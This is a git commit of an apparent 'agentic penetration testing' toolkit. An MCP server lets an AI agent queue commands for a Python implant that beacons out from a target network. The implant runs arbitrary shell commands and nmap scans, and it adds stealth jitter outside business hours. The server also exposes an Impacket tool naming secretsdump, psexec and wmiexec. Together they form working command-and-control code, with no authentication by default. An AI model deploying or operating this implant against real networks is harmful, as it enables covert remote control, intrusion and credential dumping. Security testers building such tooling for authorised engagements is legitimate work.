Initial Commit

This commit is contained in:
creinky committed 2026-11-05 21:19:54 -07:00
commit cc1c80d7bf
8 files changed
+8065

No files matched your search

+123
View File
@@ -0,0 +1,123 @@
# Agentic Penetration Testing MCP Server & Implant
An MCP (Model Context Protocol) server and implant pair for autonomous penetration testing. The AI agent calls pentest tools through the MCP server, which queues commands that implants pick up via outbound beaconing — no inbound ports needed on target networks.
## Architecture
```
┌─────────┐ ┌──────────────┐ ┌─────────────────┐ ┌──────────┐
│ Agent │────▶│ MCP Client │────▶│ MCP Server │◀────│ Implant │
│ (Bionic)│ │ (FastMCP) │ │ (command queue) │ │ (Kali) │
└─────────┘ └──────────────┘ └─────────────────┘ └──────────┘
▲ beacons out
│ periodically
```
**Beaconing Flow:**
1. Agent calls MCP tool (e.g., `nmap_scan`) → command queued on server
2. Implant periodically POSTs to `/check_in` endpoint
3. Server returns any pending commands for that implant
4. Implant executes commands locally, reports results via `/report_result`
5. Agent retrieves results using `get_result(request_id)`
This works through NAT/firewalls because the implant only makes outbound connections.
## Components
### MCP Server (`server.py`)
- Exposes pentest tools via FastMCP
- Maintains command queue per implant
- HTTP endpoint for implant check-ins (port 8001)
- MCP transport on port 8000
### Implant (`implant.py`)
- Runs on target network (Kali host)
- Beacons out every N seconds to check for commands
- Executes nmap scans, shell commands, etc. locally
- Reports results back to MCP server
## Setup
```bash
# Install dependencies
pip install -r requirements.txt
# Start MCP server
python server.py --http 8000
# Start implant (on target network)
export MCP_SERVER_URL="http://<mcp-server-ip>:8001"
python implant.py --id test-implant --interval 30
```
## Available Tools
| Tool | Description | Parameters |
|------|-------------|------------|
| `nmap_scan` | Queue nmap scan on implant | target, scan_type, ports, output_format |
| `list_network_interfaces` | List implant's network interfaces | implant_id (optional) |
| `run_command` | Execute shell command on implant | command, implant_id (optional) |
| `get_result` | Retrieve result of queued command | request_id |
| `list_implants` | Show all registered implants | none |
| `server_status` | Check MCP server status | none |
### nmap_scan Parameters
- **target**: IP address or hostname to scan (required)
- **scan_type**: Nmap flags (default: `-sT`). Options: `-sS`, `-sT`, `-sU`, `-sV`
- **ports**: Port spec like `"80,443"` or `"1-1024"`. Default: top 1000
- **output_format**: `normal`, `xml`, or `grepable`. Default: normal
## Proxmox LXC Deployment (MCP Server)
To host the MCP server 24/7 in a Proxmox LXC container:
### Create LXC Container
```bash
pct create <CTID> local:vztmpl/ubuntu-24.04-standard_24.04-1_amd64.tar.gz \
--password yourpassword \
--hostname mcp-pentest \
--net0 name=eth0,bridge=vmbr0,ip=<IP>/24,gw=<GATEWAY> \
--unprivileged 1
```
### Deploy Application
```bash
pct push <CTID> agentic-pentest-mcp/ /opt/agentic-pentest-mcp/
pct enter <CTID>
cd /opt/agentic-pentest-mcp
apt update && apt install -y python3 python3-venv nmap
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```
### Configure and Start
```bash
# Run server (listens on :8000 for MCP, :8001 for implant beacons)
python server.py --http 8000 &
```
### Auto-start on Boot
Create a systemd service or add to `/etc/rc.local`:
```bash
#!/bin/bash
cd /opt/agentic-pentest-mcp
source .venv/bin/activate
python server.py --http 8000 &
```
### Verify Deployment
```bash
# Check MCP server is running
curl http://localhost:8000/mcp
# From Bionic/LM Studio, connect to:
# http://<lxc-ip>:8000/mcp
```
## Security Considerations
- Currently no authentication between components — run on trusted networks
- `run_command` tool is powerful; consider restricting in production
- Use HTTPS transport for remote deployments
- Implant IDs are simple strings; use UUIDs for multi-implant environments
+7114
View File
File diff suppressed because it is too large. Load diff
+253
View File
@@ -0,0 +1,253 @@
"""
Agentic Penetration Testing Implant (Beaconing Architecture)
This implant runs on the target network and periodically beacons out to the MCP server
to check for pending commands. It executes commands locally and reports results back.
Usage:
export MCP_SERVER_URL="http://<mcp-server-ip>:8001"
python implant.py --id <unique-implant-id> --interval 30
"""
import os
import sys
import json
import time
import uuid
import socket
import subprocess
import argparse
import random
from datetime import datetime
from urllib.request import urlopen, Request
from urllib.error import URLError
def get_local_ip():
"""Get the local IP address of this host."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return "unknown"
def execute_nmap(target, scan_type="-sT", ports=None, output_format="normal"):
"""Execute an nmap scan and return results."""
cmd = ["nmap", scan_type]
if ports:
cmd.extend(["-p", ports])
if output_format == "xml":
cmd.append("-oX")
cmd.append("-")
elif output_format == "grepable":
cmd.append("-oG")
cmd.append("-")
cmd.append(target)
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=300
)
return {
"exit_code": result.returncode,
"output": result.stdout[:10000], # Truncate large outputs
"error": result.stderr[:1000] if result.stderr else None
}
except subprocess.TimeoutExpired:
return {"exit_code": -1, "output": "", "error": "nmap scan timed out"}
except Exception as e:
return {"exit_code": -1, "output": "", "error": str(e)}
def list_interfaces():
"""List network interfaces and their configurations."""
try:
result = subprocess.run(
["ip", "addr"],
capture_output=True,
text=True,
timeout=30
)
return {
"exit_code": result.returncode,
"output": result.stdout[:5000],
"error": result.stderr[:1000] if result.stderr else None
}
except Exception as e:
return {"exit_code": -1, "output": "", "error": str(e)}
def run_shell_command(command):
"""Execute a shell command and return results."""
try:
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=120
)
return {
"exit_code": result.returncode,
"output": result.stdout[:5000],
"error": result.stderr[:1000] if result.stderr else None
}
except subprocess.TimeoutExpired:
return {"exit_code": -1, "output": "", "error": "Command timed out"}
except Exception as e:
return {"exit_code": -1, "output": "", "error": str(e)}
def is_business_hours():
"""Check if current time is within business hours (Mon-Fri 8AM-6PM local)."""
now = datetime.now()
# weekday() returns 0=Monday, 4=Friday
return now.weekday() < 5 and 8 <= now.hour < 18
def get_beacon_interval(base_interval):
"""Calculate beacon interval with jitter based on time of day.
Business hours: base interval ±10% jitter
Off-hours: 2x base interval ±30% jitter (less frequent, more stealthy)
"""
if is_business_hours():
# Shorter interval during business hours with small jitter
jitter = random.uniform(-0.1, 0.1) * base_interval
return max(5, int(base_interval + jitter))
else:
# Longer interval off-hours with larger jitter for stealth
extended = base_interval * 2
jitter = random.uniform(-0.3, 0.3) * extended
return max(10, int(extended + jitter))
def beacon(mcp_url, implant_id, api_key=None):
"""Send a check-in beacon to the MCP server and process any commands."""
try:
data = json.dumps({
"implant_id": implant_id,
"timestamp": time.time(),
"host_ip": get_local_ip()
}).encode()
headers = {"Content-Type": "application/json"}
if api_key:
headers["X-API-Key"] = api_key
req = Request(
f"{mcp_url}/check_in",
data=data,
headers=headers
)
with urlopen(req, timeout=10) as response:
body = json.loads(response.read().decode())
commands = body.get("commands", [])
if commands:
print(f"[{implant_id}] Received {len(commands)} command(s)")
for cmd in commands:
request_id = cmd["request_id"]
cmd_type = cmd["type"]
params = cmd["params"]
print(f" Executing {cmd_type} (request {request_id})")
# Execute the appropriate command
if cmd_type == "nmap_scan":
result = execute_nmap(
params.get("target"),
params.get("scan_type", "-sT"),
params.get("ports"),
params.get("output_format", "normal")
)
elif cmd_type == "list_interfaces":
result = list_interfaces()
elif cmd_type == "run_command":
result = run_shell_command(params.get("command"))
else:
result = {"error": f"Unknown command type: {cmd_type}"}
# Report result back
report_data = json.dumps({
"request_id": request_id,
"implant_id": implant_id,
"result": result
}).encode()
report_headers = {"Content-Type": "application/json"}
if api_key:
report_headers["X-API-Key"] = api_key
report_req = Request(
f"{mcp_url}/report_result",
data=report_data,
headers=report_headers
)
try:
with urlopen(report_req, timeout=10) as resp:
print(f" Result reported for {request_id}")
except Exception as e:
print(f" Failed to report result: {e}")
return True
except URLError as e:
print(f"[{implant_id}] Beacon failed: {e}")
return False
except Exception as e:
print(f"[{implant_id}] Unexpected error: {e}")
return False
def main():
parser = argparse.ArgumentParser(description="Agentic Pentest Implant")
parser.add_argument("--id", default=str(uuid.uuid4())[:8], help="Unique implant ID")
parser.add_argument("--interval", type=int, default=30, help="Base beacon interval in seconds")
parser.add_argument("--api-key", default=None, help="API key for server authentication")
args = parser.parse_args()
mcp_url = os.environ.get("MCP_SERVER_URL", "http://localhost:8001")
implant_id = args.id
api_key = args.api_key or os.environ.get("IMPLANT_API_KEY", None)
print(f"=== Agentic Pentest Implant ===")
print(f"Implant ID: {implant_id}")
print(f"MCP Server: {mcp_url}")
print(f"Base beacon interval: {args.interval}s (with time-aware jitter)")
if api_key:
print(f"API Key: {'*' * len(api_key)}")
print(f"Local IP: {get_local_ip()}")
print("================================\n")
while True:
success = beacon(mcp_url, implant_id, api_key)
if not success:
print("Retrying in 5 seconds...")
time.sleep(5)
# Calculate next interval with jitter
next_interval = get_beacon_interval(args.interval)
bh_status = "business hours" if is_business_hours() else "off-hours"
print(f"Next beacon in {next_interval}s ({bh_status})")
# Sleep until next beacon
for _ in range(next_interval):
time.sleep(1)
if __name__ == "__main__":
main()
+2
View File
@@ -0,0 +1,2 @@
export MCP_SERVER_URL="http://MCP_SERVER_IP:MCP_SERVER_PORT"
python3 implant.py --id remote-test-implant --interval 30
+1
View File
@@ -0,0 +1 @@
fastmcp>=4.0.0
+124
View File
@@ -0,0 +1,124 @@
╭──────────────────────────────────────────────────────────────────────────────╮
│ │
│ │
│ ▄▀▀ ▄▀█ █▀▀ ▀█▀ █▀▄▀█ █▀▀ █▀█ │
│ █▀ █▀█ ▄▄█ █ █ ▀ █ █▄▄ █▀▀ │
│ │
│ │
│ │
│ FastMCP 4.1.6 │
│ https://gofastmcp.com │
│ │
│ 🖥 Server: agentic-pentest-mcp, 4.1.6 │
│ 🚀 Deploy free: https://horizon.prefect.io │
│ │
╰──────────────────────────────────────────────────────────────────────────────╯
[11/04/26 00:52:04] INFO Starting MCP server transport.py:358
'agentic-pentest-mcp' with
transport 'http' on
http://0.0.0.0:8000/mcp
INFO: Started server process [85710]
INFO: Waiting for application startup.
INFO: Application startup complete.
INFO: Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)
Implant check-in server listening on :8001
Starting agentic-pentest MCP server on http://0.0.0.0:8000
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
INFO: 127.0.0.1:45218 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:45218 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:45218 - "POST /mcp HTTP/1.1" 200 OK
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
INFO: 127.0.0.1:44676 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:44676 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:44676 - "POST /mcp HTTP/1.1" 200 OK
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
INFO: 127.0.0.1:56444 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:56444 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:56444 - "POST /mcp HTTP/1.1" 200 OK
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
INFO: 127.0.0.1:49028 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:49028 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:49028 - "POST /mcp HTTP/1.1" 200 OK
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /report_result HTTP/1.1" 200 -
INFO: 127.0.0.1:49028 - "POST /mcp HTTP/1.1" 200 OK
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
INFO: 127.0.0.1:41040 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:41040 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:41040 - "POST /mcp HTTP/1.1" 200 OK
INFO: 127.0.0.1:41040 - "POST /mcp HTTP/1.1" 200 OK
[Implant HTTP] "POST /check_in HTTP/1.1" 200 -
[Implant HTTP] "POST /report_result HTTP/1.1" 200 -
INFO: 127.0.0.1:41040 - "POST /mcp HTTP/1.1" 200 OK
INFO: Shutting down
INFO: Waiting for application shutdown.
INFO: Application shutdown complete.
INFO: Finished server process [85710]
+364
View File
@@ -0,0 +1,364 @@
"""
Agentic Penetration Testing MCP Server (Beaconing Architecture)
This MCP server maintains a command queue for each registered implant.
Implants beacon out periodically to check for pending commands and report results.
Architecture:
Agent -> MCP Client -> This Server (command queue) <- Implant beacons in
"""
import os
import json
import time
import uuid
import random
from collections import defaultdict, deque
from fastmcp import FastMCP
# Configuration
IMPLANT_URL = os.environ.get("IMPLANT_URL", "http://localhost:9000")
BEACON_TIMEOUT = 300 # Seconds before an implant is considered offline (5 min)
API_KEY = os.environ.get("IMPLANT_API_KEY", None) # Optional API key for auth
# In-memory command queue and implant registry
implants = {} # implant_id -> {"last_seen": timestamp, "status": str}
command_queue = defaultdict(deque) # implant_id -> deque of commands
results = {} # request_id -> result data
def register_implant(implant_id: str):
"""Register or update an implant's last-seen time."""
implants[implant_id] = {
"last_seen": time.time(),
"status": "online"
}
def get_pending_commands(implant_id: str) -> list:
"""Get all pending commands for an implant."""
return list(command_queue[implant_id])
def queue_command(implant_id: str, command_type: str, params: dict) -> str:
"""Queue a command for an implant and return request ID."""
request_id = str(uuid.uuid4())[:8]
command = {
"request_id": request_id,
"type": command_type,
"params": params,
"queued_at": time.time()
}
command_queue[implant_id].append(command)
return request_id
def store_result(request_id: str, result: dict):
"""Store the result of a completed command."""
results[request_id] = {
"result": result,
"completed_at": time.time()
}
# Create MCP server
server = FastMCP("agentic-pentest-mcp")
@server.tool()
def nmap_scan(target: str, scan_type: str = "-sT", ports: str = None, output_format: str = "normal") -> dict:
"""
Queue an nmap network scan on a registered implant.
Args:
target: Target IP address or hostname to scan
scan_type: Nmap scan type (default: -sT TCP connect scan)
Options: -sS (SYN), -sT (TCP), -sU (UDP), -sV (version detection)
ports: Port specification (e.g., "80,443" or "1-1024"). Default: top 1000 ports
output_format: Output format (normal, xml, grepable). Default: normal
Returns:
dict with request_id to track the scan status
"""
# Find first online implant
implant_id = None
for iid, info in implants.items():
if time.time() - info["last_seen"] < BEACON_TIMEOUT:
implant_id = iid
break
if not implant_id:
return {"error": "No online implants available"}
params = {
"target": target,
"scan_type": scan_type,
"ports": ports,
"output_format": output_format
}
request_id = queue_command(implant_id, "nmap_scan", params)
return {
"request_id": request_id,
"implant_id": implant_id,
"status": "queued",
"message": f"Scan queued for target {target}"
}
@server.tool()
def list_network_interfaces(implant_id: str = None) -> dict:
"""
Queue a request to list network interfaces on an implant.
Args:
implant_id: Specific implant ID (optional, uses first online if not specified)
Returns:
dict with request_id to track the request status
"""
if not implant_id:
for iid, info in implants.items():
if time.time() - info["last_seen"] < BEACON_TIMEOUT:
implant_id = iid
break
if not implant_id:
return {"error": "No online implants available"}
request_id = queue_command(implant_id, "list_interfaces", {})
return {
"request_id": request_id,
"implant_id": implant_id,
"status": "queued"
}
@server.tool()
def run_command(command: str, implant_id: str = None) -> dict:
"""
Queue a shell command to execute on an implant. Use with caution.
Args:
command: Shell command to execute on the implant
implant_id: Specific implant ID (optional, uses first online if not specified)
Returns:
dict with request_id to track the command status
"""
if not implant_id:
for iid, info in implants.items():
if time.time() - info["last_seen"] < BEACON_TIMEOUT:
implant_id = iid
break
if not implant_id:
return {"error": "No online implants available"}
request_id = queue_command(implant_id, "run_command", {"command": command})
return {
"request_id": request_id,
"implant_id": implant_id,
"status": "queued"
}
@server.tool()
def impacket(script_name: str, target: str = None, username: str = None, password: str = None, domain: str = None, extra_args: str = "") -> dict:
"""
Queue an Impacket tool execution on a registered implant.
Args:
script_name: Impacket script name (e.g., secretsdump, smbclient, getusers,
lookupsid, samrdump, wmiexec, psexec, etc.)
target: Target IP address or hostname
username: Username for authentication (optional)
password: Password for authentication (optional)
domain: Domain name (optional)
extra_args: Additional command-line arguments to pass to the script
Returns:
dict with request_id to track the execution status
"""
# Find first online implant
implant_id = None
for iid, info in implants.items():
if time.time() - info["last_seen"] < BEACON_TIMEOUT:
implant_id = iid
break
if not implant_id:
return {"error": "No online implants available"}
params = {
"script_name": script_name,
"target": target,
"username": username,
"password": password,
"domain": domain,
"extra_args": extra_args
}
request_id = queue_command(implant_id, "impacket", params)
return {
"request_id": request_id,
"implant_id": implant_id,
"status": "queued",
"message": f"Impacket script '{script_name}' queued for target {target or 'N/A'}"
}
@server.tool()
def get_result(request_id: str) -> dict:
"""
Retrieve the result of a previously queued command.
Args:
request_id: The request ID returned when queuing the command
Returns:
dict with the command result or status
"""
if request_id in results:
return results[request_id]
return {"status": "pending", "message": "Result not yet available"}
@server.tool()
def list_implants() -> dict:
"""
List all registered implants and their status.
Returns:
dict with implant information
"""
now = time.time()
implant_list = []
for iid, info in implants.items():
online = (now - info["last_seen"]) < BEACON_TIMEOUT
pending = len(command_queue[iid])
implant_list.append({
"implant_id": iid,
"online": online,
"last_seen": time.strftime("%H:%M:%S", time.localtime(info["last_seen"])),
"pending_commands": pending
})
return {
"total_implants": len(implant_list),
"online": sum(1 for i in implant_list if i["online"]),
"implants": implant_list
}
@server.tool()
def server_status() -> dict:
"""
Check the status of the MCP server.
Returns:
dict with server configuration and status
"""
return {
"server": "agentic-pentest-mcp",
"architecture": "beaconing",
"registered_implants": len(implants),
"online_implants": sum(1 for i in implants.values() if time.time() - i["last_seen"] < BEACON_TIMEOUT),
"total_queued_commands": sum(len(q) for q in command_queue.values()),
"status": "running"
}
# HTTP endpoint for implant check-ins
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
class ImplantCheckInHandler(BaseHTTPRequestHandler):
def validate_api_key(self):
"""Validate the X-API-Key header if API key auth is enabled."""
if not API_KEY:
return True # No auth required
provided_key = self.headers.get('X-API-Key')
if not provided_key or provided_key != API_KEY:
return False
return True
def send_auth_error(self):
"""Send a 401 Unauthorized response."""
self.send_response(401)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({"error": "Unauthorized: invalid or missing API key"}).encode())
def do_POST(self):
if not self.validate_api_key():
self.send_auth_error()
return
if self.path == "/check_in":
content_length = int(self.headers.get('Content-Length', 0))
body = json.loads(self.rfile.read(content_length))
implant_id = body.get("implant_id")
register_implant(implant_id)
# Get pending commands for this implant
pending = get_pending_commands(implant_id)
response = {
"commands": pending,
"timestamp": time.time()
}
# Clear the queue since we're sending commands
command_queue[implant_id].clear()
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps(response).encode())
elif self.path == "/report_result":
content_length = int(self.headers.get('Content-Length', 0))
body = json.loads(self.rfile.read(content_length))
request_id = body.get("request_id")
result = body.get("result")
store_result(request_id, result)
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({"status": "received"}).encode())
else:
self.send_response(404)
self.end_headers()
def log_message(self, format, *args):
print(f"[Implant HTTP] {format % args}")
def start_implant_http_server(port=8001):
"""Start the HTTP server for implant check-ins."""
httpd = HTTPServer(("0.0.0.0", port), ImplantCheckInHandler)
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()
print(f"Implant check-in server listening on :{port}")
return httpd
if __name__ == "__main__":
import sys
# Start implant HTTP server
start_implant_http_server(8001)
if len(sys.argv) > 1 and sys.argv[1] == "--http":
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8000
print(f"Starting agentic-pentest MCP server on http://0.0.0.0:{port}")
server.run(transport="http", host="0.0.0.0", port=port)
else:
print("Starting agentic-pentest MCP server (stdio transport)")
server.run()
+84
View File
@@ -0,0 +1,84 @@
"""
Test client for the Agentic Penetration Testing MCP Server (Beaconing Architecture).
Tests:
1. Connect to MCP server and list tools
2. Check server status
3. Queue a command via MCP tool
4. Wait for implant to beacon in, pick up command, and report result
5. Retrieve the result
"""
import asyncio
import time
from fastmcp import Client
async def test_beaconing_flow():
print("=== Testing Beaconing Architecture ===\n")
async with Client("http://localhost:8000/mcp") as client:
# Test 1: List tools
print("[Test 1] Listing available tools...")
tools = await client.list_tools()
tool_names = [t.name for t in tools]
print(f" Tools ({len(tools)}): {', '.join(tool_names)}")
expected_tools = ["nmap_scan", "list_network_interfaces", "run_command",
"get_result", "list_implants", "server_status"]
missing = [t for t in expected_tools if t not in tool_names]
if missing:
print(f" WARNING: Missing tools: {missing}")
else:
print(" ✓ All expected tools present")
# Test 2: Server status
print("\n[Test 2] Checking server status...")
status = await client.call_tool("server_status", {})
print(f" Architecture: {status['architecture']}")
print(f" Registered implants: {status['registered_implants']}")
# Test 3: List implants (should be empty or show test implant)
print("\n[Test 3] Listing implants...")
implants = await client.call_tool("list_implants", {})
print(f" Total: {implants['total_implants']}, Online: {implants['online']}")
# Test 4: Queue a command (will be picked up by implant on next beacon)
print("\n[Test 4] Queuing 'whoami' command...")
queued = await client.call_tool("run_command", {"command": "whoami"})
if "error" in queued:
print(f" ERROR: {queued['error']}")
print(" (Start an implant to test command execution)")
else:
request_id = queued["request_id"]
print(f" Queued with request ID: {request_id}")
# Wait for implant to process and report back
print(" Waiting for implant to beacon in and execute...")
result = None
for i in range(10):
await asyncio.sleep(2)
result = await client.call_tool("get_result", {"request_id": request_id})
if "result" in result:
print(f" ✓ Result received after {i+1} checks")
break
if result and "result" in result:
actual_result = result["result"]
print(f" Exit code: {actual_result.get('exit_code')}")
output = actual_result.get("output", "").strip()
print(f" Output: {output[:100]}")
else:
print(" Timed out waiting for result (is implant running?)")
# Test 5: Check implants again (should show test implant if it beacons)
print("\n[Test 5] Listing implants after beacon...")
implants = await client.call_tool("list_implants", {})
print(f" Total: {implants['total_implants']}, Online: {implants['online']}")
for imp in implants.get("implants", []):
print(f" - {imp['implant_id']}: online={imp['online']}, "
f"last_seen={imp['last_seen']}, pending={imp['pending_commands']}")
if __name__ == "__main__":
asyncio.run(test_beaconing_flow())